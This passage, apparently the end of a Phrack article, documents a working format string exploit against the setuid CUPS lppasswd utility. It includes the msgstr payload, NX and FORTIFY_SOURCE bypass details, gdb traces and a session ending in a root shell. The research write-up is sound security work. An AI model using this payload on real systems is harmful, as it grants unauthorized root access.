Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c,
|
||
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u
|
||
|
%7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x
|
||
|
%1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267-\021\021") at
|
||
|
vfprintf.c:210
|
||
|
210 in vfprintf.c
|
||
|
(gdb) bt
|
||
|
#0 _IO_vfprintf_internal (s=0xbffdc68c,
|
||
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ...
|
||
|
#1 0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1,
|
||
|
slen=2048,
|
||
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ....
|
||
|
#2 0xb7f96544 in vsnprintf (fp=0xb7e68580,
|
||
|
message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
|
||
|
at /usr/include/bits/stdio2.h:78
|
||
|
#3 _cupsLangPrintf (fp=0xb7e68580,
|
||
|
message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
|
||
|
at langprintf.c:125
|
||
|
#4 0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316
|
||
|
(gdb)
|
||
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
||
|
|
||
|
The second return address lends itself very well to exploitation. The 2nd
|
||
|
parameter points to user input. This is highly useful when overwriting the
|
||
|
saved return address.
|
||
|
The address can be pointed to &system or __libc_system or do_system, and
|
||
|
the old 2nd argument will become the argument to system.
|
||
|
|
||
|
Above in the resource limit setting code, the enivornment is filled with
|
||
|
pointers to that return address:: int jmp = 0xbffdc66c;
|
||
|
|
||
|
keke[riri+0] = jmp+2;
|
||
|
keke[riri+1] = jmp+2;
|
||
|
keke[riri+2] = jmp;
|
||
|
keke[riri+3] = jmp;
|
||
|
|
||
|
NX Bypass: C/cups_C.po
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
msgid "lppasswd: Unable to open password file: %s\n"
|
||
|
msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx
|
||
|
%49150u \
|
||
|
%7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x
|
||
|
%1073741824$"
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The first part executes a command. The next 4 arguments were padding but
|
||
|
removing them would have required some recalculations.
|
||
|
|
||
|
These two writes redirect control flow to system by overwriting the least
|
||
|
and most significant half-words of the saved return address.
|
||
|
|
||
|
%14263u %7352$hn %27249u %7353$hn
|
||
|
|
||
|
And the last part is used to bypass FORTIFY_SOURCE:
|
||
|
%1$*14951$x %1$*14620$x %1073741824$.
|
||
|
|
||
|
Overall, things are pretty hairy, but they work with some massaging.
|
||
|
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -l lppasswd
|
||
|
-rwsr-xr-x 1 root root 18867 2010-06-06 01:26 lppasswd
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
|
||
|
ls: cannot access /tmp/sh: No such file or directory
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ cp /bin/bash /tmp/sh
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ gcc -o sf sploit_filz.c
|
||
|
sploit_filz.c: In function ?main?:
|
||
|
sploit_filz.c:13: warning: initialization from incompatible pointer type
|
||
|
sploit_filz.c:20: warning: incompatible implicit declaration of built-in
|
||
|
function ?memset?
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ./sf 4
|
||
|
Enter old password:
|
||
|
Enter password:
|
||
|
Enter password again:
|
||
|
sh: %49150u: not found
|
||
|
Segmentation fault
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
|
||
|
-rwsr-xr-x 1 root root 818232 2010-07-07 01:26 /tmp/sh
|
||
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ /tmp/sh -p
|
||
|
sh-4.1# id
|
||
|
uid=1337(captain) gid=1337(captain) euid=0(root)
|
||
|
groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev)
|
||
|
,104(lpadmin),112(netdev),115(admin),118(pulse-access),120(sambashare),
|
||
|
1000(captain)
|
||
|
|
||
|
|
||
|
------------[ C. TODO- ASLR
|
||
|
|
||
|
The author has failed to make an ultra reliable exploit for defeating both
|
||
|
ALSR and an NX stack. Part of what makes it difficult is all of the moving
|
||
|
parts.
|
||
|
|
||
|
In this case ASLR makes things hairy for two reasons. Both the stack and
|
||
|
libc (and the text) are shifting. They are randomly offset from each other.
|
||
|
In the above exploit, two values need to be known. The first is the
|
||
|
location of the saved return address. The second is the address of glibc.
|
||
|
By applying the resource limits, it is still possible to brute force this
|
||
|
vulnerability, but it requires patience with 24-bits of entropy.
|
||
|
|
||
|
Anyway, the following two methods have been attempted.
|
||
|
|
||
|
1) Copy (read+write) primitive using width arguments.
|
||
|
|
||
|
The width argument can be used to read a value from memory and write it
|
||
|
somewhere.
|
||
|
|
||
|
%1$*100$u will read the 100th argument's value, and write that many spaces.
|
||
|
This is presumably the reason why %n was introduced in the first place. The
|
||
|
copy would look like this:
|
||
|
|
||
|
%1$*100$u %2$101$n
|
||
|
|
||
|
Author's Verdict: Too hairy
|
||
|
The copy write primitive does not seem to work reliably under the fortify
|
||
|
source loss of state. Exact reasons have not been yet determined, and a way
|
||
|
to stabilize them may exist. In addition, once a copy operation is
|
||
|
performed, the internal printf counter must be reset by writing a value
|
||
|
numerous times. The easiest way to do this would be to print out the same
|
||
|
value '256' times and reduce write width to one-character at a time.
|
||
|
Writing the same value '256' times ensures that the lowest byte of the
|
||
|
internal counter will be 0.
|
||
|
|
||
|
2) Repurpose double stack pointers
|
||
|
|
||
|
For lppasswd, stack double-pointers exist that can be repurposed. For %n to
|
||
|
work, a pointer is needed. The idea behind this avenue is to use the first
|
||
|
pointer to redirect the second pointer to the return address.
|
||
|
|
||
|
Author's verdict: Using the pointers is reliable, but ASLR has enough
|
||
|
entropy in the the correct offset to the return address is unreliable. The
|
||
|
best acheivement was 24-bits of entropy, 12-bits for the return address and
|
||
|
12-bits for &system. Only one exploit seemed to work, and the author was
|
||
|
unable to reproduce even after a night of testing.
|
||
|
|
||
|
===========================================================================
|
||
|
|
||
|
------[ 4. Afterword
|
||
|
|
||
|
It is the author's opinion that it is quite amazing vfprintf even compiles
|
||
|
in the first place. Briefly, it should be noted that there are more angles
|
||
|
of attack in the vfprintf code that are a bit more complicated. Although
|
||
|
quite messy. Here is one example, if a target is using the deprecated
|
||
|
features of vfprintf to register their own format string specifiers, an
|
||
|
attacker can get arbitrary code execution without needing %n. Execution
|
||
|
without %n may even be possible with the jump table implementations...
|
||
|
|
||
|
This article is dedicated to runixd and beist, the top scoring two of the
|
||
|
first three loller skaterz. Mad greetz to the even better lollerskaterz
|
||
|
dropping from rofl copters. Surf the chaos dudes!
|
||
|
|
||
|
Many thanks to the phrack staff for their help.
|
||
|
And also real hackers who make me blush.
|
||
|
|
||
|
Thanks for reading. Have phun!
|
||
|
|
||
|
[0] http://msdn.microsoft.com/en-us/library/ms175782.aspx
|
||
|
[1] http://www.securityfocus.com/bid/1634
|
||
|
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0393
|
||
|
[3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt
|
||
|
[4] http://www.phrack.org/issues.html?issue=63&id=14
|
||
|
[5] http://althing.cs.dartmouth.edu/local/formats-teso.html
|
||
|
[6] http://www.loko.nu/formatstring/format_string.htm
|